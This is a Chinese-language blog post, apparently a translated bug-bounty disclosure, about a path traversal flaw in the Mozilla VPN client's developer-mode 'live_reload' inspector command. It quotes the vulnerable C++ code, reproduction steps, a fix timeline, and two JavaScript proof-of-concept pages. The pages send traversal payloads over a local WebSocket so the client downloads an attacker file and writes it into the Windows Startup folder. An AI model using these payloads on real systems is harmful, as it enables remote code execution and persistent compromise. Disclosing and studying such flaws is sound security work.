Mozilla VPN客户端路径遍历漏洞导致远程代码执行分析

本文详细分析了Mozilla VPN客户端中存在的路径遍历漏洞,该漏洞允许攻击者通过文件写入操作实现远程代码执行,涉及具体的技术细节和复现步骤。

Mozilla VPN客户端:通过文件写入和路径遍历实现RCE

漏洞概述

报告发现了Mozilla VPN客户端软件中存在路径遍历漏洞,导致远程代码执行(RCE)。该漏洞存在于客户端检查器功能的"live_reload"命令中,当客户端处于开发者模式并启用"使用暂存服务器"时可被利用。

漏洞详情

易受攻击的代码位于InspectorHotreloader::fetchAndAnnounce()函数中(源代码:https://github.com/mozilla-mobile/mozilla-vpn-client/blob/main/src/inspector/inspectorhotreloader.cpp):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
QObject::connect(
    request, &NetworkRequest::requestCompleted,
    [this, path, dummy_task](const QByteArray& data) {
        dummy_task->deleteLater();
        auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());
        auto temp_file = new QFile(temp_path);
        temp_file->open(QIODevice::WriteOnly);
        if (!temp_file->write(data)) {
            logger.warning() << "Unable to write to file:"
                            << temp_file->fileName();
            return;
        }
        if (!temp_file->flush()) {
            logger.warning() << "Unable to flush to file:"
                            << temp_file->fileName();
            return;
        }
        temp_file->close();
        QFileInfo info(temp_path);
        annonceReplacedFile(QUrl::fromLocalFile(info.absoluteFilePath()));
    });

在上述代码片段中,temp_path只是设定目录和文件名的简单拼接,未能正确清理文件路径,允许通过Windows文件路径中的"..“序列进行路径遍历。

复现步骤

  1. 下载Mozilla VPN:https://www.mozilla.org/en-US/products/vpn/download/
  2. 开启开发者模式:
    • 打开帮助菜单
    • 快速点击"Help"标题6次
    • 在开发者选项中勾选"Use Staging Servers”
    • 完全关闭并重新打开
  3. 保存并打开以下HTML文件(将attacker_server替换为攻击者服务器):
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<script>
var ws = new WebSocket('ws://localhost:8765/');
var attacker_server = "███████" // 需要HTTP,不支持HTTPS

payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`

ws.onopen = function() {
    ws.send(payload);
};
ws.onmessage = function(event) {
    document.getElementById("data").innerText += event.data + "\n";
};
</script>
<h1>Data retrieved:</h1>
<div id="data"></div>

影响分析

攻击者可以覆盖任意文件导致RCE。当使用暂存服务器时,通过有限的用户交互(只需打开攻击者网站)即可利用此漏洞。注意此漏洞在macOS上不可用。

RCE完整利用

通过将恶意文件写入当前用户的启动文件夹实现永久访问:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<script>
var ws = new WebSocket('ws://localhost:8765/');
var attacker_server = "███" // 需要HTTP,不支持HTTPS

payload = `live_reload ${attacker_server}/..\\..\\..\\..\\Roaming\\Microsoft\\Windows\\Start%20Menu\\Programs\\Startup\\traversal_poc.bat`

ws.onopen = function() {
    ws.send(payload);
};
ws.onmessage = function(event) {
    document.getElementById("data").innerText += event.data + "\n";
};
</script>
<h1>Data retrieved:</h1>
<div id="data"></div>

修复方案

Mozilla团队计划移除检查器中的HTTP热加载功能,并添加与WebSocket通信的域名限制。该漏洞已在2.26版本中修复。

时间线

  • 2025年2月15日:漏洞报告提交
  • 2025年3月6日:奖励6000美元赏金
  • 2025年5月13日:漏洞修复
  • 2025年7月29日:完全披露

严重程度:高(8.3) 弱点类型:路径遍历 赏金金额:$6,000

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计